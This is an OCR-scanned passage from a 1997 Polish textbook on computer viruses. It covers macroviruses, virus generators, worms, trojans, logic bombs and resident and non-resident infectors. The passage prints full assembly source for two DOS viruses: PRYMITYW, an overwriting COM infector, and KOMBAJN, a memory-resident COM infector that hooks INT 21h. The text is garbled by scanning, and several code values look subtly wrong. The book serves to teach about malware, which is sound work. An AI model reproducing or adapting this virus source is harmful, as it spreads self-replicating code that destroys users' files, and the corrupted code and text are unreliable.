który wykonuje się niezależnie od tego, czy jest wywoływany z rozszerzeniem BAT czy 
COM. Po uruchomieniu wyświetla on napis informujący o rozszerzeniu, z jakim został 
wywołany. 
:7█: 
@ECHO OFF 
@ECHO Dzialam jako plik BAT ! 
@GOTO KONIEC 
¬II-I@ŽM_-!ŽL-!Dzialam jako plik COM !$ 
:KONIEC 
 

2.4. Makrowirusy, wirusy makrosów (ang. macroviruses

Tego typu wirusy to jeden z najnowszych pomysłów. Makrowirusy nie zarażają 
programów uruchamiałnych, lecz pliki zawierające definicje makr. Najpopularniejsze 
obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne: 
Microsoft Excel), SAM (dokumenty: AmiPro). 
Do mnożenia się makrowirusy wykorzystują funkcje zawarte w językach makr, 
wbudowanych w powyższe aplikacje, np. WordBasic w Microsoft Word lub Visual Basie 
for Applications w programie Microsoft Excel. 

 
2.5. Generatory wirusów 

Na przestrzeni ostatnich kilku lat pojawiło się wiele programów umożliwiających 
stworzenie własnego wirusa, nawet bez znajomości systemu, czy mechanizmów 
wykorzystywanych przez wirusy. Narzędzia tego typu są dostępne w sieci Internet. 
Korzystając z gotowych modułów w asemblerze można utworzyć wirusa o zadanych 
parametrach, wybieranych najczęściej przy pomocy przyjaznego użytkownikowi menu 
lub specjalnego pliku definicyjnego. Można więc określić zakres obiektów infekowanych 
przez tworzonego wirusa, rodzaj 

efektów specjalnych, sposób ewentualnej destrukcji, a 

także warunki zadziałania efektów specjalnych. Oprócz kodu wynikowego wirusa 
(gotowego do uruchomienia) generatory tworzą także pełne, najczęściej dobrze opisane 
źródła w asemblerze, co umożliwia przeciętnemu, ale zainteresowanemu pisaniem 
wirusów użytkownikowi, dokształcenie się w tej dziedzinie. Najbardziej znane generatory 
wirusów to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), 
PS-MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG 
(NukE Randomic Life Generator). 

 
2.6. Robaki (ang. worms

Robak to program, którego działanie sprowadza się do tworzenia własnych duplikatów, 
tak że nie atakuje on żadnych obiektów, jak to czynią wirusy. Oprócz zajmowania 
miej

sca na dysku program ten rzadko wywołuje skutki uboczne. Podobnie jak wirusy 

towarzyszące, robaki najczęściej pisane są w językach wysokiego poziomu. Robaki są 
najbardziej popularne w sieciach, gdzie mają do dyspozycji protokoły transmisji 
sieciowej, dzięki którym mogą przemieszczać się po całej sieci. 

 
2.7. Konie trojańskie (ang. trojan horses

Koń trojański nie jest wirusem komputerowym, ale ze względu na swoje działanie 

background image

(najczęściej destrukcyjne) często bywa z nim utożsamiany. 
Zasada działania koma trojańskiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby 
to normalną prace, bezpośrednio wynikająca , przeznaczenia programu (np.: gra, demo, 
program użytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauważalne dla 
użyt-kownika operacje, (najczęściej po prostu niszczy - kasuje lub zamazu-je - dane na 
dysku twardym). 
Konie trojańskie najczęściej przenoszą sie w plikach udających nowe, popularne 
programy kompresujące (np.: PKZIP, ARJ. RAR) lub też udają programy narzedziowe 
do obsługi dysków. 

 
2.8. Bomby logiczne (ang. logical bombs

O ile koń trojański wykonuje brudną robotę od razu po uruchomieniu, o tyle bomba swe 
destrukcyjne oblicze ukazuje tylko w określonym odpowiednimi warunkami czasie 
(najczęściej zależnie od aktualnej daty lub liczby poprzednich wywołań programu). Ze 
względu na to, iż właściwy, destrukcyjny kod może być ukryty w dowolnym miejscu 
programu zawierającego bombę, należy ostrożnie obchodzić się z aplikacjami, których 
pochodzenie jest nieznane. Mianem bomby określa się często także destrukcyjny, 
uruchamiany tylko po spełnieniu jakiegoś warunku, kod zawarty w wirusach. 
 

ROZDZIAŁ 3 

 
3.1. Wirusy nierezydentne (ang. non-resident viruses

Wirusy nierezydentne są najprostszą odmianą wirusów komputerowych zarażających 
pliki wykonywaln

e. Po uruchomieniu nosiciela poszukiwany jest, najczęściej przy 

pomocy funkcji (4E/4F/21), kolejny obiekt do zarażenia. W przypadku nie znalezienia 
żadnego kandydata, sterowanie oddawane jest do nosiciela, w przeciwnym razie 
znaleziony plik jest infekowany

. Ofiary poszukiwane są w bieżącym katalogu i/lub w 

katalogach określonych w zmiennej środowiskowej PATH, i/lub w podkatalogach 
bieżącego katalogu, i/lub w katalogu głównym. Z reguły wirus taki nie przejmuje 
żadnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie 
programowe 24h, które jest odpowiedzialne za obsługę błędów krytycznych). Główną 
wadą wirusów nierezydentnych jest to, iż poszukiwanie ofiar przy starcie programu 
wiąże się najczęściej z dużym opóźnieniem w uruchomieniu właściwego programu oraz 
łatwo zauważalną przez użytkownika wzmożoną aktywnością przeszukiwanego nośnika. 
Drugim poważnym mankamentem jest to, iż zarażają one tylko i wyłącznie po 
uruchomieniu nosiciela, a więc nie mogą efektywnie infekować plików ani też skutecznie 
maskować swej obecności w7 systemie, tak jak czynią to wirusy rezydentne. Wirusy 
nierezydentne są najczęściej wypuszczane przez oszołomionych pierwszym sukcesem, 
początkujących twórców^ wirusów. O tym, jak prosto napisać najprymitywniejszą wersję 
wirus

a nierezydentnego, niech świadczy poniższa krótka sekwencja napisana w 

asemblerze. Po skompilowaniu otrzymujemy program, który po uruchomieniu szuka przy 
pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po 
ewentualnym jego 

znalezieniu przepisuje swój kod na początek ofiary. Wirus ten jest 

bardzo prymitywny w swym działaniu, gdyż nieodwracalnie niszczy zarażany przez 
siebie plik (jest to wirus 
nadpisujący), a także nie posiada żadnej obsługi błędów (w przypadku nieznalezienia 

background image

ofiary wirus "zainfekuje"... ekran). Jego wykrycie to kwestia bardzo krótkiego czasu 
(programy COM przestaną "nagle" działać). 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                    PRYMITYW v1.0, Autor : Adam Blaszczyk 1997              ; 
;                                                                            ; 
;                      Prymitywny wirus nierezydentny nadpisujacy,           ; 
;                      atakujacy i niszczacy pierwszy znaleziony             ; 
;                      w katalogu plik COM                                   ; 
; Kompilacja :                                                               ; 
;             TASM     PRYMITYW.ASM                                          ; 
;             TLINK /t PRYMITYW.OBJ                                          ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
 
PRYMITYW SEGMENT 
         ASSUME CS: PRYMITYW, DS:PRYMITYW 
 
         ORG 100h 
         WirDlug = Offset (WirKoniec-WirStart) 
                             ; WirDlug okresla dlugosc calego kodu wirusa 
 
WirStart: 
 
     mov  cx,20h             ; atrybut poszukiwanej pozycji katalogu (Archive) 
     mov  dx,Offset PlikiCOM ; szukaj plikow *.COM 
     mov  ah,4Fh             ; funkcja DOS - szukaj pozycji w katalogu 
     int  21h                ; wywolaj funkcje 
 
     mov  ax,3D02h           ; funkcja DOS - otworz plik do odczytu i zapisu 
     mov  dx,9Fh             ; nazwa znalezionego pliku w buforze DTA 
                             ; znajdujacym sie pod adresem CS:80h 
     int  21h                ; wywolaj funkcje 
 
     xchg ax,bx              ; przenies  uchwyt pliku z AX do BX 
 
     mov  cx,WirDlug         ; podaj ile bajtow zapisac 
     mov  dx,100h            ; zapisuj spod adresu CS:100h 
     mov  ah,30h             ; funkcja DOS - zapisz do pliku 

background image

     int  21h                ; wywolaj funkcje 
 
     ret                     ; rownoznaczne z wykonaniem Int 20h 
 
 PlikiCOM db '*.COM'         ; maska dla poszukiwanych pozycji w katalogu 
 
 WirKoniec: 
 
 PRYMITYW ENDS 
 END WirStart 
 
 

3.2. Wirusy rezydentne (ang. resident viruses

Autorzy wirusów szybko zorientowali się, że działające tylko po uruchomieniu nosiciela 
wirusy nierezydentne mają dość ograniczone pole manewru, stąd też poszukiwali 
Jakiegoś mechanizmu, który pozwalałby na nieprzerwane monitorowanie systemu 
operacyjnego. Z pomocą przyszli im nieświadomie sami autorzy systemu DOS, 
implementując w typowo jednozadaniowym środowisku mechanizm sztucznej 
wielozadaniowości. Zasada działania wirusów rezyden-tnych polega bowiem na 
zainstalowaniu się w pamięci operacyjnej komputera i przejęciu odpowiednich odwołań 
do systemu w sposób podobny do tego, w jaki czynią to programy typu TSR (ang. 
Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR, 
który po zainstalowaniu ukrywa swój kod przed programami przeglądającymi pamięć. 
Aktywny i jednocześnie ukryty w pamięci, ma o wiele szersze pole manewru niż wirusy 
nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem 
przy każdej dowolnej próbie dostępu na infekcję plików lub sektorów. Możliwe staje się 
także zastosowanie techniki zaawansowanego ukrywania się w systemie (tzw. technika 
stealth, omówiona w dalszej części opracowania). Zawładnięcia systemem dokonuje się 
poprzez przejęcie odpowiednich przerwań sprzętowych i funkcji obsługiwanych przez 
ogólnie dostępne przerwania programowe. 
Ze względu na szybkość mnożenia się wirusy rezydentne dzieła się na szybkie intektory 
i wolne infektory. Poniżej przedstawiono przykład prostego wirusa rezydentnego, 
infekującego pliki COM podczas ich uruchamiania. 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                  KOMBAJN v1.0, Autor : Adam Blaszczyk 1997                 ; 
;                                                                            ; 
;              Prosty wirus rezydentny plikow COM                            ; 
;              Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden  ; 
;              Przejmuje przerwanie 21h                                      ; 
;              Przejmuje przerwanie 24h na czas infekcji                     ; 

background image

;                                                                            ; 
; Kompilacja :                                                               ; 
;             TASM     KOMBAJN.ASM                                           ; 
;             TLINK /t KOMBAJN.OB J                                          ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
JUMPS 
KOMBAJN SEGMENT 
        ASSUME CS:KOMBAJN, DS:KOMBAJN 
        ORG 100h 
 
     Haslo     = 0BACAh                    ; \ do sprawdzenia, czy wirus jest 
     Odpowiedz = 0CABAh                    ; / juz zainstalowany w pamieci 
 
           NUL = 00h                       ; \ 
           LF  = 0Ah                       ;  - stale znakow 
           CR  = 0Dh                       ; / 
 
  AtrReadOnly  = 00000001b                 ; \ 
  AtrHidden    = 00000010b                 ;  \ 
  AtrSystem    = 00000100b                 ;   \ rozne stale atrybutow 
  AtrVolumeID  = 00001000b                 ;   / pozycji katalogu 
  AtrDirectory = 00010000b                 ;  / 
  AtrArchive   = 00100000b                 ; / 
 
VRok          = 1998                       ; \  data opisujaca 
VMiesiac      = 13                         ;  - pliki juz zainfekowane 
VDzien        = 31                         ; / 
 
VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien 
 
DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa) 
DlugoscWPamieci = (DlugoscWirusa +31)/16 
 
Start:                                     ; poczatek wirusa 
 
PoczatekWirusa:                            ; pomocnicza etykieta 
 
    Call  Trik                             ; zapisz na stosie relatywny ofset 
Trik: 
 

background image

    pop   si                               ; zdejmij ze stosu relatywny ofset 
    sub   si,103h                          ; oblicz ofset do poczatku wirusa 
 
    mov   ax,Haslo                         ; \ sprawdz, czy wirus jest 
    int   21h                              ; / juz w pamieci 
 
    cmp   ax,Odpowiedz                     ; \ czy kopia wirusa odpowiedziala ? 
    jne   InstalacjaWPamieci               ; / NIE - zainstaluj 
                                           ; TAK - wypisz komunikat 
    lea   di,TeBylZainstalowany            ;    / 
    call  DrukSI                           ;   / 
    jmp   PowrocDoNosiciela                ; i powroc do nosiciela 
 
InstalacjaWPamieci:                        ; poczatek instalacji 
 
    lea   di,TeCopyRight                   ; \ wyswietl info o wirusie 
    Call  DrukSI                           ; / 
 
    lea   di,TeInstalacja                  ; \  zapytaj uzytkownika, czy chce 
    Call  DrukSI                           ;  \ zainstalowac wirusa w pamieci 
    Call  Decyzja                          ;  / 
    jc    PowrocDoNosiciela                ; / CF=1 - uzytkownik nie chce 
instalowac 
 
    mov   ax,3521h                         ; funkcja DOS - wez adres INT 21 
    int   21h                              ; wywolaj funkcje 
 
    mov   [si][Stare21Seg],es              ; \ zachowaj adres (wirus bedzie go 
    mov   [si][Stare21Ofs],bx              ; / uzywal) 
 
    mov   ax,ds                            ; przywroc ES 
    mov   es,ax                            ; AX=ES=DS=CS=SS=PSP 
 
    dec   ax                               ; AX=ES-1=MCB do aktualnego bloku 
    mov   ds,ax                            ; DS=blok MCB 
    mov   bx,word ptr ds:[0003h]           ; wez dlugosc aktualnego bloku 
    sub   bx,DlugoscWPamieci+1             ; zmniejsz go o dlugosc wirusa 
 
    mov   ah,4Ah                           ; funkcja DOS - zmien rozmiar bloku 
pamieci 
    int   21h                              ; wywolaj funkcje 

background image

 
    mov   bx,DlugoscWPamieci               ; podaj dlugosc wymaganego bloku 
pamieci 
    mov   ah,48h                           ; funkcja DOS - przydzial bloku 
    int   21h                              ; wywolaj funkcje 
    jc    PowrocDoNosiciela                ; CF=1 - nie udalo sie przydzielic 
 
    mov   es,ax                            ; ES=wskazuje na przydzielony blok 
    xor   di,di                            ; ES:DI - dokad skopiwoac 
    cld                                    ; zwiekszaj SI, DI w REP MOVSB 
 
    push  si                               ; SI bedzie zmieniany, wiec zachowaj 
    add   si,offset PoczatekWirusa         ; dodaj ofset : skad kopiowac 
    mov   cx,DlugoscWirusa                 ; cx=ile bajtow kopiowac 
    rep   movs byte ptr es:[di], cs:[si]   ; kopiuj z CS:SI do ES:DI, CX bajtow 
    pop   si                               ; przywroc relatywny ofset 
 
    mov   ax,es                            ; pobierz adres do MCB opisujacego 
    dec   ax                               ; blok, w ktorym jest wirus 
    mov   ds,ax                            ; DS=MCB wirusa 
    mov   word ptr ds:[0001h],0008h        ; ustaw MCB wirusa, jako systemowy 
    sub   ax,0Fh                           ; \  DS=adres bloku-10h 
    mov   ds,ax                            ;  \ sztuczka, dzieki ktorej mozna 
                                           ;  / odwolywac sie do danych jak w 
                                           ; /  zwyklym programie COM (ORG 100h) 
 
    mov   dx,Offset NoweInt21              ; DX=adres do nowej procedury INT 21h 
    mov   ax,25FFh                         ; funkcja DOS - ustaw adres INT 21 
    int   21h                              ; wywolaj funkcje 
 
    push  cs                               ; \   wyswietl komunikat o 
    pop   ds                               ;  \  instalacji w pamieci 
    lea   di,TeZainstalowany               ;   \ i segment, w ktorym 
    Call  DrukSI                           ;   / rezyduje wirus 
    mov  ax,es                             ;  / 
    Call DrukHEX16                         ; / 
 
PowrocDoNosiciela:                         ; 
    push  cs cs                            ; \ przywroc DS=ES=CS=PSP 
    pop   ds es                            ; / 
 

background image

    mov   al,byte ptr [si][StareBajty]     ; \  przywroc 3 poczatkowe bajty 
    mov   ds:[100h],al                     ;  \ programu pod adresem CS:100h 
    mov   ax,word ptr [si][StareBajty+1]   ;  / 
    mov   ds:[101h],ax                     ; / 
 
    mov   ax,100h                          ; \ zachowaj na stosie slad do 
    push  ax                               ; / adresu 100h 
 
    xor   ax,ax                            ; \   dla bezpieczenstwa 
    xor   bx,bx                            ;  \  lepiej wyzerowac rejestry 
    xor   cx,cx                            ;   \ robocze 
    xor   dx,dx                            ;   / 
    xor   si,si                            ;  / 
    xor   di,di                            ; / 
 
    ret                                    ; powroc do nosiciela 
 
PytanieOInstalacje:                        ; \   odpowiedz rezydujacego 
    xchg  al,ah                            ;   - wirusa na pytanie, czy jest 
    iret                                   ; /   w pamieci 
 
NoweInt21: 
    cmp   ax,4B00h                         ; czy funkcja DOS - uruchom program ? 
    je    InfekcjaPliku                    ; TAK - sprobuj infekowac 
    cmp   ax,Haslo                         ; czy pytanie wirusa o instalacje ? 
    je    PytanieOInstalacje               ; TAK - odpowiedz ze zainstalowany 
 
    jmp   PowrotZInt21                     ; idz do poprzedniego lancucha 
                                           ; przerwan 
 
InfekcjaPliku: 
    push  es ds ax bx cx dx si di          ; zachowaj zmieniane rejestry 
 
    mov   cs:StaryDS, ds                   ; \ zachowaj adres do nazwy pliku 
    mov   cs:StaryDX, dx                   ; / 
 
    mov   ax,3524h                         ; \     pobierz stara i ustaw 
    Call  StareInt21                       ;  \    nowa procedure obslugi 
    mov   cs:Stare24Seg,es                 ;   \   przerwania krytycznego 
    mov   cs:Stare24Ofs,bx                 ;    \  INT 24h w celu ochrony 
                                           ;     \ przed ewentulanymi bledami 

background image

    push  cs                               ;     / (np; podczas proby zapisu 
    pop   ds                               ;    /   na zabezpieczonej przed 
    lea   dx,NoweInt24                     ;   /    zapisem dyskietce, nie 
    mov   ax,2524h                         ;  /     zostanie wywolany dialog 
    Call  StareInt21                       ; /      ARIF) 
 
    mov   ds,cs:StaryDS                    ; DS=wskazuje na nazwe pliku 
    mov   dx,cs:StaryDX                    ; podaj nazwe pliku 
    mov   ax,4300h                         ; funkcja DOS - czytaj atrybut 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad, wiec powrot 
 
    mov   cs:Atrybut,cl                    ; wez stary atrybut 
 
    mov   ax,4301h                         ; funkcja DOS - zapisz atrybut 
    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    PrzywrocAtrybut 
 
    mov   ax,3D02h                         ; funkcja DOS - otworz plik 
                                           ; do odczytu i zapisu 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad 
 
    xchg  ax,bx                            ; przenies uchwyt pliku do BX 
 
    mov   ax,5700h                         ; funkcja DOS - wpisz date, czas 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    mov   cs:Czas,cx                       ; zachowaj czas pliku na pozniej 
 
    cmp   dx,VZnacznik                     ; czy plik jest juz zainfekowany ? 
    je    ZamknijPlik                      ; TAK - zamknij plik, powrot 
 
    push  cs                               ; \ DS=CS=segment wirusa 
    pop   ds                               ; / 
 
    mov   cx,3                             ; ilosc czytanych bajtow 
    lea   dx,StareBajty                    ; podaj dokad czytac 3 bajty 
    mov   ah,3Fh                           ; funkcja DOS - czytaj z pliku 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 

background image

 
    mov   ax,word ptr [StareBajty]         ; wez dwa pierwsze bajty pliku 
    cmp   ax,'MZ'                          ; i sprawdz, czy to nie EXE 
    je    ZamknijPlik                      ; gdy "MZ", to plik EXE, powrot 
    cmp   ax,'ZM'                          ; 
    je    ZamknijPlik                      ; gdy "ZM", to plik EXE, powrot 
 
    xor   cx,cx                            ; \ zeruj CX:DX zawierajace 
    xor   dx,dx                            ; / adres wzgledem konca pliku 
    mov   ax,4202h                         ; funkcja DOS - zmien wskaznik 
                                           ; odczytu/zapisu na koniec pliku 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
                                           ; DX=starsza czesc dlugosci pliku 
    or    dx,dx                            ; czy plik krotszy niz 65536 ? 
    jnz   ZamknijPlik                      ; nie - nie infekuj 
 
    cmp   ax,64000                         ; czy dlugosc <= 64000 ? 
    jmp   ZamknijPlik                      ; nie - nie infekuj 
 
    cmp   ax,3                             ; czy dlugosc >= 3 ? 
    jb    ZamknijPlik                      ; nie - nie infekuj 
 
    sub   ax,3                             ; odejmij dlugosc skoku E9 ?? ?? 
    mov   word ptr [Skok+1],ax             ; zapisz do bufora rozkaz skoku 
 
    lea   di,TeZnalazlemPlik               ; \       zapytaj uzytkownika 
    Call  Druk                             ;  \      czy chce zainfekowac 
                                           ;   \     plik 
    mov   di,cs:StaryDX                    ;    \    (nazwa pliku jest 
    mov   ds,cs:StaryDS                    ;     \    wyswietlana) 
    Call  Druk                             ;      \ 
                                           ;       - (dzieki temu uzytkownik 
    push  cs                               ;      /   ma pelna kontrole nad 
    pop   ds                               ;     /    tym, co wirus infekuje) 
    lea   di,TeInfekcja                    ;    / 
    Call  Druk                             ;   / 
    Call  Decyzja                          ;  / 
    jc    ZamknijPlik                      ; /       gdy CF=1, uzytkownik nie 
pozwala 

background image

 
    mov   cx,DlugoscWirusa                 ; ilosc zapisywanych bajtow 
    mov   dx,100h                          ; podaj skad zapisac wirusa 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    xor   cx,cx                            ; \ zeruj CX:DX zawierajace 
    xor   dx,dx                            ; / adres wzgledem poczatku pliku 
    mov   ax,4200h                         ; funkcja DOS - zmien wskaznik 
                                           ; odczytu/zapisu na poczatek pliku 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,3                             ; ilosc zapisywanych bajtow 
    lea   dx,Skok                          ; podaj skad zapisac rozkaz skoku 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,Czas                          ; przywroc czas 
    mov   dx,VZnacznik                     ; zaznacz w dacie infekcje pliku 
    mov   ax,5701h                         ; funkcja DOS - wpisz date, czas 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
 
ZamknijPlik: 
    mov   ah,3Eh                           ; funkcja DOS - zamknij plik 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
 
PrzywrocAtrybut: 
    mov   cl,cs:Atrybut                    ; podaj stary atrybut 
    mov   ch,0                             ; CX=CL 
    mov   dx,cs:StaryDX                    ; podaj nazwe pliku do zmiany 
    mov   ds,cs:StaryDS                    ; w DS:DX 
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
 
    lds   dx,dword ptr cs:Stare24Ofs       ; \  przywroc stare przerwanie 
    mov   ax,2524h                         ;  - INT 24 
    Call  StareInt21                       ; / 
 

background image

    pop   di si dx cx bx ax ds es          ; przywroc zmieniane rejestry 
 
PowrotZInt21: 
    db 0EAh                                ; mnemonik rozkazu skoku JMP FAR 
    Stare21Ofs dw ?                        ; (z tych pol korzysta skok 
    Stare21Seg dw ?                        ; aby oddac sterowanie do poprzedniego 
                                           ; elementu lancucha przerwan INT 21) 
 
StareInt21: 
    pushf                                  ; \ symuluj  wywolanie przerwania 
    Call dword ptr cs:[Stare21Ofs]         ; / wywolaj stare przerwanie 
 
    ret                                    ; powroc z wywolania 
 
 
DrukSI:                                    ; procedura wyswietla tekst z 
                                           ; CS:[DI+SI] 
    add   di,si                            ; tekst w DI, dodaj SI 
Druk:                                      ; procedura wyswietla tekst z 
                                           ; CS:[DI] 
    push  ax di                            ; zachowaj zmieniane rejestry 
 
DrukPetla: 
    mov   al,[di]                          ; pobierz znak 
    or    al,al                            ; czy koniec tekstu (znak=NUL) ? 
    jz    DrukPowrot                       ; TAK - kocz pisanie 
 
    mov   ah,0Eh                           ; funkcja BIOS - wyswietl znak 
    int   10h                              ; wywolaj funkcje 
 
    inc   di                               ; zwieksz indeks (na nastepny znak) 
 
    jmp   short DrukPetla                  ; idz po nastepny znak 
 
DrukPowrot: 
    pop   di ax                            ; przywroc zmieniane rejestry 
 
    ret                                    ; powrot 
 
DrukHEX16:                                 ; drukuje liczbe heksalna z AX 
    push  ax                               ; zachowaj AX (dokladniej AL) 

background image

    mov   al,ah                            ; najpierw starsza czesc 
    Call  DrukHex8                         ; wyswietl AH 
    pop   ax                               ; przywroc AX (dokladniej AL) 
                                           ; i wyswietl AL 
DrukHex8:                                  ; drukuje liczbe heksalna z AL 
    push  ax                               ; zachowaj AX (dokladniej 4 bity AL) 
    shr   al,1                             ; \ 
    shr   al,1                             ;  \ podziel AL przez 16, 
    shr   al,1                             ;  / czyli wez 4 starsze bity AL 
    shr   al,1                             ; / 
    Call  DrukHex4                         ; i wydrukuj czesc liczby 
szesnastkowej 
    pop   ax                               ; przywroc AX (dokladniej 4 bity AL) 
    and   al,15                            ; wez 4 mlodsze bity AL 
                                           ; i wydrukuj czesc liczby 
szesnastkowej 
DrukHex4: 
    cmp   al,10                            ; \   konwersja liczby binarnej 
    jb    Cyfra09                          ;  \  na znak 
    add   al,'A'-'0'-10                    ;   - 00..09, 0Ah..0Fh na 
Cyfra09:                                   ;  /  '0'..'9', 'A'..'F' 
    add   al,'0'                           ; / 
 
    mov   ah,0Eh                           ; funkcja BIOS - wyswietl znak 
    int   10h                              ; wywolaj funkcje 
 
    ret                                    ; powrot 
 
Decyzja:                                   ; \     pobiera z klawiatury 
    mov   ah,0h                            ;  \    znak i sprawdza, czy jest 
    int   16h                              ;   \   to litera 'T'lub 't' 
    and   al,0DFh                          ;    \  jezeli tak, ustawia CF=0 
    cmp   al,'T'                           ;     \ jezeli nie, ustawia CF=1 
    clc                                    ;     / 
    je    DecyzjaTak                       ;    / 
    stc                                    ;   / 
DecyzjaTak:                                ;  / 
    ret                                    ; / 
 
NoweInt24:                                 ; 
    mov   al,3                             ; sygnalizuj CF=1, gdy dowolny blad 

background image

                                           ; nie wywoluj ARIF 
    iret                                   ; powrot z przerwania 
 
         TeCopyRight db CR,LF,'KOMBAJN v1.0, Autor : Adam Blaszczyk 1997' 
                     db CR,LF,NUL 
  TeInstalacja       db CR,LF,'_ Zainstalowac KOMBAJNA w pamieci operacyjnej 
(T/N) ?',NUL 
  TeBylZainstalowany db CR,LF,'_ KOMBAJN jest juz w pamieci !',NUL 
  TeZainstalowany    db CR,LF,'_ KOMBAJN zostal zainstalowany w segmencie : ',NUL 
  TeZnalazlemPlik    db CR,LF,'_ Znalazlem plik : "',NUL 
  TeInfekcja         db '"',CR,LF,'  Czy chcesz sprobowac zainfekowac go 
KOMBAJNEM (T/N) ?',NUL 
 
     StareBajty db 0CDh,20h,90h 
     Skok       db 0E9h 
KoniecWirusa: 
all: 
     Skok2      dw ? 
     StaryDS    dw ? 
     StaryDX    dw ? 
     Atrybut    db ? 
     Czas       dw ? 
     Stare24Ofs dw ? 
     Stare24Seg dw ? 
 
KOMBAJN ends 
end start 
 

3.2.1. Szybkie infektory (ang.fast infectors

Szybkie infektory przejmują wszystkie możliwe funkcje systemu DOS, używane do 
obsługi plików i zarażają wszystko, co się da, w maksymalnie krótkim czasie, co 
powoduje, iż po okresie bardzo szybkiej ekspansji wirusa w danym systemie następuje 
jego pasywacja, gdyż wirus nie może znaleźć kolejnej ofiary do zarażenia. Często 
pierwszą czynnością wykonywaną przez wirusa jest zniszczenie w pamięci kodu 
zamazywalnej części interpretatora poleceń, co sprawia, że przy następnym wywołaniu 
jakiegokolwiek polecenia z poziomu DOS plik zawierający interpretator poleceń (czyli 
najczęściej COMMAND.COM) zostanie ponownie uruchomiony i w efekcie natychmiast 
zainfekowany. 
Duża aktywność szybkiego infektora będzie na pewno łatwo zauważalna dla 
użytkownika - nawet tego, który słabo zna system. Użycie najlepszych nawet technik 
stealth (dość często stosowanych przez tego typu wirusy) także się nie sprawdzi, 
zwłaszcza gdy użytkownik wykonuje dużo operacji dyskowych. 

3.2.2. Wolne infektory (ang. slow infectors

background image

Wirusy tego typu są bardziej wyrafinowane niż szybkie infektory. Ich głównym celem nie 
jest maksymalnie szybka ekspansja w systemie, lecz raczej jak najdłuższe przetrwanie. 
Wirusy te używają najczęściej wolnych, kilkustopniowych, zmiennych procedur 
szyfrujących i techniki stealth. Infekują najczęściej tylko takie obiekty, które modyfikuje 
lub tworzy użytkownik, a więc nawet w przypadku sygnalizowania jakiejś niebezpiecznej 
operacji przez ewentualny program antywirusowy użytkownik będzie przekonany, iż 
potwierdza wykonywane przez siebie czynności. 
Są to wirusy bardzo trudne do wykrycia i usunięcia, nawet przez bardzo zaawansowane 
programy antywirusowe. 
 

ROZDZIAŁ 4 

 

4.1. Pliki

 

Jedną z najczęściej wykorzystywanych dróg, jaką przenoszą się wirusy. są pliki. Na 
samym początku były to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak 
liczba różnorodnych plików branych pod uwagę przez twórców wirusów wzrosła. Można 
powiedzieć, iż w kręgu zainteresowań ludzi piszących wirusy są wszystkie pliki, które 
posiadają w swym wnętrzu struktury zawierające instrukcje sterujące oraz funkcje 
operujące na plikach i/lub sektorach. Mogą to więc być pliki wykonywalne (COM, EXE), 
wsadowe (BAT), pliki zawierające sterowniki (SYS, BIN, DRV), pliki z modułami 
wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a także pliki 
programów, udostępniające użytkownikom definiowanie makr (DOC, XLS, SAM). 
Spotykane są także wirusy nietypowe, np. atakujące programy napisane w asembłerze 
(ASM). Rodzaj pliku rozstrzygany jest najczęściej na podstawie jego wewnętrznej 
budowy, tak więc w większości przypadków zmiana rozszerzenia pliku nie pozwala na 
uchronienie go przed infekcją. Wewnętrzna struktura najczęściej zarażanych plików oraz 
sposoby ich infekcji omówione zostały poniżej. W rozdziale opisującym infekcję plików 
COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas 
uruchamiania programów (blok wstępny programu, otoczenie programu). 

4.1.1. Pliki wykonywalne COM 

Ze względu na swą prostą budowę programy typu COM od początku stanowiły 
smakowity kąsek dla twórców wirusów. Zawierają one kod programu w tzw. postaci 
absolutnej, dlatego też ich ładowanie do pamięci polega na wczytaniu zawartości pliku 
pod adres znajdujący się bezpośrednio po tworzonym dla każdego procesu bloku 
wstępnym PSP i wykonaniu dalekiego skoku na początek programu, 
a więc ich obraz w pamięci jest wierną kopią zawartości pliku. Wygląd programu COM 
po załadowaniu do pamięci przedstawia poniższa tabela. 
 
